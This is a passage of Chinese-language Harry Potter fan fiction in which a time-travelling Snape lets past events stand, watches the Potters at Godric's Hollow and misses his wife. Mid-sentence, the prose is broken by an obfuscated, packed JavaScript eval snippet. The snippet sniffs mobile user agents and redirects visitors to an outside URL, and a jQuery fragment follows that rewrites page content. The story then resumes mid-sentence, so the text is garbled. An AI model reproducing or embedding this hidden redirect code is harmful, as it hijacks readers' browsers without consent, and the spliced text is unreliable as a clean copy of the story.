如果他贸然作出这个决定,就算阻止预言的偷听,伏地魔依然有其他办法得知这件事。 也就是说,即使一时救下波特一家,仍可能因此产生数不尽的可能性分支。一路以来这样多人的努力和争斗,又该去往何处?并且,一个更可怕的想法在胸前碎开……如果战争不如他所知的进行,她,还会像这个时间线上那样的,成为他的妻子吗? 历史的剧本早已写就。他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15296969|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能,无法,也不该擅自更改。 难道说,他在这里的意义,不是为了改变过去? 他定住动作,在紧迫到窒息的间隙疯狂思索,指尖几乎不受控制扣住桌沿,竭力到抠下一片木屑。 不。不是为了改变过去,他在心里笃定地说。而是,为了抓住那个深陷泥潭的自己,为了让自己成为这场棋局里最关键的一枚棋子,一块铸成了邓布利多伟大宏图的拼图。这场战争的胜利,正是有这块拼图形成的锚点才得以成立——所以,才会是听到一半的预言,才会是愧疚半生的赎罪。 他的瞳孔急剧收缩,全身的血液都凝住了。 是啊。这世上,哪有不流血不牺牲的战争? 自嘲地牵了牵唇角,斯内普已然明晰。他果断一口饮尽了杯中的威士忌,在酒热的余温里屏息,待怀表的指针转到第四圈。 猛然的起立带翻了椅脚,可他毫不在意,大步向前。空杯被他砸在堆满零嘴碎屑的棋牌桌,两块金币扔到了阿不福思的手边。 “楼上的女士在抱怨你这里臭虫太多。”斯内普把脸藏在斗篷,嗓音因极力克制而嘶哑,“你确定不要上去看一看吗?她已经喊你很久了。”(1) 阿不福思扭头,乱糟糟的眉毛拧成结,很是不情愿地抬眼看来人。但他看不清对方的面容,只莫名感觉到一种逼人的压迫,像把停在脸边的暗刀,晃着惨淡而危险的低光。 “阿不思让你来的?真他//妈烦人。”阿不福思冷冰冰地骂了一句,甩开抹布,对哈罗德和大胡子巫师努努嘴,用魔杖召来一个掸子,骂骂咧咧地走上楼。 斯内普趁机对他的背影扔去一发谨慎的遗忘咒,随即步出猪头酒吧。 他站回山楂树底,躲过了轰鸣的惊雷,以及伴随雷声和骚动被扔出门外的、披着黑斗篷的年轻西弗勒斯·斯内普。紧接着,阿不福思和阿不思·邓布利多愤怒追出,魔杖直指,咒骂不停。 斯内普冷冷地看着在大雨里蹒跚爬起的男巫,全身的筋肉都在这刻彻底松了下来。 此时仍旧一腔热血为黑魔王效忠的可怜虫,朝地面不屑地吐掉嘴里的泥水,满眼仇恨和不屈。只是,他不会知道,命运的钟摆已在暗中偏斜。前方等待他的,不是主人的嘉奖和期盼的财权荣耀,而是一场浩大的、穷尽一生的审判。只可惜,他明白得太晚了。 就在这一刻,斯内普大概读懂这场时间旅行的规则。 这是一条成全之路,一个由梅林编织的因果闭环,将他打碎,将过去撕裂,要他重新看见、重新经历、重新理解、重新面对。 所以,如果他还无法因为寄出母亲的信、放下偷听预言的自己而返回。那么下一站,一定是—— 斯内普的幻影移形停在戈德里克山谷。 这里也在下雨,风声呼啸,村庄一侧的河水奔涌不绝。 他顺着河流的方向向前,绕过中央广场,途经几家店铺、邮局和一间有着彩绘玻璃的教堂,最终踩着湿滑的石板路,远离了村中心。在一条昏暗的长街尽头,斯内普隔着没有停歇的雨帘,望到正好小跑着归家的詹姆斯·波特。 还有红发的莉莉·波特。她扶着被长裙掩盖的隆起小腹,眉眼明亮如旧,扑进詹姆斯怀中,用衣袖抹去他镜片上的水滴,笑容灿烂得宛若雨中的太阳。 詹姆斯一手撑着伞,一手把莉莉搂紧,皱起眉道:“不是说好了不要出来接我的吗?” “家里太闷,我想正好出来走一走。”莉莉仰头一笑,亲昵地揽着詹姆斯的手臂,“再过两个月,哈利出生后,我就得有妈妈的样子了。” “是啊,我还以为你不记得这事了呢。所以不许你再这样任性了,我怕你着凉。”詹姆斯吻过她的鬓角,半是揶揄半是责备地埋怨道。 “才不会呢。”莉莉顺势接过他手中不重的购物袋,又问:“阿不思今天有说什么吗?” “没什么要紧的,今天的会结束得很早,他好像赶时间。”詹姆斯在门口收好雨伞,两个人一齐走进屋内。 他们的家不算大,隐约可辨出是一座红砖小屋。马灯悬在门下,照亮一枚被冷风吹得哆嗦的红色风铃。窗台和庭院都种满了花卉,可以看出屋主的悉心照料,只可惜眼前的月季被过多的雨水浇灌得有些颓败。不过不用担心,等天放晴,詹姆斯一定会用魔咒将它们复原。 毕竟,这时的他们还可以在户外行走,还能感受到骤雨、细雪、暖风、阳光等等自然的气息。 哪怕这光景不会再存在很久,至少,这里永远会是他们的家。 没有嫉妒,没有愤懑,斯内普只是感到一种莫名的空落和惋惜。他僵立着,凝望良久,见到屋中人影边说边笑着做好了晚饭。客厅的灯烛被点上了,鹅黄色的暖光从窗帘缝溢出,把窗外的寒夜晕得愈加萧瑟。 趁凄然的悲戚挟裹他之前,他动了起来,沿着房屋四周细细检查一遍,确保没有异象,便决定离开。 但此刻他是惊讶的,因为回去的魔法没有如预期般地到来。现在,他没了头绪,全然不知该去哪里,也不知还该做些什么。他本就是个不属于这个世界的孤魂,这里没有他的容身之地。 雨下得更大。 这是一个澎湃的雨夜,寒风和斜雨将路灯打得叮咚作响。灯光忽明忽灭,映出幽暗的石墙、木墙和雕像,它们冷漠地望着他。 母亲、邓布利多、还有詹姆斯和莉莉的脸再度浮现在墙面,很快又被湍急的雨柱冲刷得干干净净。 斯内普闭了闭眼,让自己沉入雨里,像条漫无目的的鱼往前。 彻骨的水花不时灌入他的衣领,他拖着越来越沉重的步子,浑身疲惫至极。出了戈德里克山谷,他走进一家彻夜营业的酒馆,寻到一个靠窗的位置。 点了一杯杜松子酒,又加了一些食物,什么剩菜都行,他对酒保说。并不是饿,只是记起那些和蕾雅一同在家读书饮酒的夜晚,便记得她总要他好好吃饭,好好照顾自己。 食物确实带来些许能量,酒精也慢慢驱散身上的寒意。他眺望窗外清冷孤寂的街景,大地之上皆是湿漉漉的幻影。夜已安静,他才想起来擦干净匆忙赶路的雨水和汗水,头发上的水珠仍在淌着,它们毫无章法地坠落,落在他剧烈跳动的心上,徒增彷徨。 说起来也可笑。那段漫长的岁月中,整整十七年,他不是最习惯这样的时刻,习惯一个人泡在孤独和痛苦筑起的高墙里吗?从前的他,不正是会为人类这些单纯又愚蠢的情感感到可笑的吗? 可如今,当他穿过昔日的夜雨,拨开叠嶂的迷雾,终于学会不再为无法拯救的过往执着,学会坦然直面内心的情感,却无可遏止地充满了思念和渴望。 他一次次转动无名指上的戒指,将它抵在唇边。 蕾雅。 她的样子缠绕在他的脑海,她的名字在他的胸口一遍遍响起。 蕾雅。 他想回家,他想她,他从来没有这样想她。 从来没有这样需要她的存在—— 蕾雅。 必须去她的身边,明天一早,不,等雨停就走。 他暗暗做好决定,伏在桌上,妻子送的怀表被他又一次取出来。指腹擦过铭刻在表盘的留言,他仔细地端详始终指向东北的圆点,然后合上手心,把怀表放到耳边。 枕着雨和时间的声音,他像酒馆里数个风尘仆仆、无家可归的旅人一般,暂时沉沉睡去。